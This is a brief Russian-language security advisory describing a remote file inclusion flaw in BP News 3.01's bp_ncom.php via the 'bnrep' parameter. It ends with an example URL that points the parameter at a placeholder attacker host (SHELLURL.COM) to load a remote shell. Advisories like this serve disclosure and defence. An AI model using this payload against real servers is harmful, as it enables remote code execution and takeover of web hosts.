Программа: BP News 3.01, возможно другие версии.
Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость
существует из-за недостаточной обработки
входных данных в параметре "bnrep" в
сценарии bp_ncom.php. Удаленный пользователь
может выполнить произвольный PHP сценарий на
целевой системе с привилегиями Web сервера.
Для удачной эксплуатации уязвимости опция
"register_globals" должна быть включена в
конфигурационном файле PHP.
Пример:
http://[host]/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
